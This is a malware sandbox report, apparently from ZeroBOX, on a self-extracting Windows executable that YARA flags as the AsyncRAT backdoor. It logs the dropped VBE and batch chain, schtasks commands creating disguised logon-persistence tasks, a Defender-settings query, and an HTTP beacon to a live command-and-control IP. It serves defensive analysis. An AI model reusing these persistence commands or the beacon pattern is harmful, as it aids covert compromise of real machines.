Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	July 9, 2021, 6:16 p.m.	July 9, 2021, 6:22 p.m.

Size	1.5MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`5e982c02cb02514fbbf943021003ae16`
SHA256	`40f9c1d0e2e988dbd82d8a37141cf4b03e8cff1f427424ea0966c44cac999b8f`
CRC32	`58A98DD6`
ssdeep	`24576:P2G/nvxW3W2/v0oHsazPFQJTIzdke2IFywtx7bBVKwXBEVn0nDtKe+4T:PbA3lE27zPeT+ks0k0VUDkZC`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb
Yara	Generic_Malware_Zero - Generic Malware IsPE32 - (no description) OS_Processor_Check_Zero - OS Processor Check PE_Header_Zero - PE File Signature Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

shell.exe "C:\Users\test22\AppData\Local\Temp\shell.exe"
1896
- wscript.exe "C:\Windows\System32\WScript.exe" "C:\WinDriverhost\jX2t2hew2y66C90uPMdtR.vbe"
  1556
  - cmd.exe cmd /c ""C:\WinDriverhost\fut2dsUXBP4lfMP.bat" "
    1808
    - WinDriverhostrefMonitordll.exe "C:\WinDriverhost\WinDriverhostrefMonitordll.exe"
      1420
      - schtasks.exe "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Users\Default User\pw.exe'" /rl HIGHEST /f
        620
      - schtasks.exe "schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Windows\System32\NlsLexicons004a\SearchFilterHost.exe'" /rl HIGHEST /f
        260
      - schtasks.exe "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Program Files\Java\jre7\bin\dtplugin\pw.exe'" /rl HIGHEST /f
        1772
      - schtasks.exe "schtasks" /create /tn "SearchProtocolHost" /sc ONLOGON /tr "'C:\Windows\System32\nrpsrv\SearchProtocolHost.exe'" /rl HIGHEST /f
        2728
      - schtasks.exe "schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\Tasks\sppsvc.exe'" /rl HIGHEST /f
        1408
      - SearchProtocolHost.exe "C:\Windows\System32\nrpsrv\SearchProtocolHost.exe"
        1332
        
        powershell.exe "powershell" Get-MpPreference -verbose
        2552

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
141.95.28.201	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (23 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 9, 2021, 6:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:16 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:14 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:14 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:14 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:14 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 9, 2021, 6:14 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 9, 2021, 6:14 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (5 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 9, 2021, 6:16 p.m.			0	0
IsDebuggerPresent July 9, 2021, 6:16 p.m.			0	0
IsDebuggerPresent July 9, 2021, 6:13 p.m.			0	0
IsDebuggerPresent July 9, 2021, 6:13 p.m.			0	0
IsDebuggerPresent July 9, 2021, 6:14 p.m.			0	0

Command line console output was observed (7 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 9, 2021, 6:16 p.m.	buffer: C:\WinDriverhost> console_handle: 0x00000007	1	1
WriteConsoleW July 9, 2021, 6:16 p.m.	buffer: "C:\WinDriverhost\WinDriverhostrefMonitordll.exe" console_handle: 0x00000007	1	1
WriteConsoleW July 9, 2021, 6:13 p.m.	buffer: SUCCESS: The scheduled task "pw" has successfully been created. console_handle: 0x0000000000000007	1	1
WriteConsoleW July 9, 2021, 6:13 p.m.	buffer: SUCCESS: The scheduled task "SearchFilterHost" has successfully been created. console_handle: 0x0000000000000007	1	1
WriteConsoleW July 9, 2021, 6:13 p.m.	buffer: SUCCESS: The scheduled task "pw" has successfully been created. console_handle: 0x0000000000000007	1	1
WriteConsoleW July 9, 2021, 6:13 p.m.	buffer: SUCCESS: The scheduled task "SearchProtocolHost" has successfully been created. console_handle: 0x0000000000000007	1	1
WriteConsoleW July 9, 2021, 6:13 p.m.	buffer: SUCCESS: The scheduled task "sppsvc" has successfully been created. console_handle: 0x0000000000000007	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000484920 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004eca60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004eca60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004eca60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503330 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503330 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005032c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005032c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005032c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005032c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000484840 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000484840 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000484840 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503b80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503b80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503b80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503b80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503b80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503b80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503b80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503b80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503cd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503cd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503cd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503db0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503db0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503e20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503e20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503e90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503e90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503e90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000465e30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000465e30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004661b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004661b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b833b40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b833b40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b833d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b833d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 9, 2021, 6:14 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000503720 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 9, 2021, 6:16 p.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.didat

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://141.95.28.201/Eternalgeolongpoll.php?zmmU4y0BK0q7=pWRbeU&wHb5BPEN9v83zF=3ri&86283da538984625b0c0b7a1d601a43c=ba9080f7f667b6e443a9c41f6ee90437&d58ad9b66d8bd761c3897f13d132f6a0=wY3AzM2ITM5YWNmljN3UDO4YDN5gjYjljMhZTO3M2YmZTOilTY2cjN&zmmU4y0BK0q7=pWRbeU&wHb5BPEN9v83zF=3ri

Performs some HTTP requests (1 event)

request

Allocates read-write-execute memory (usually to unpack itself) (50 out of 356 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x728c2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73cf2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 2555904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000860000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1321000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef19bb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 1310720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000c60000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000d20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b9a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cd0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c4c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c76000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b9b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bbb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bbd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 36864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cd1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b92000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cda000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 9, 2021, 6:16 p.m.	process_identifier: 1420 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91baa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
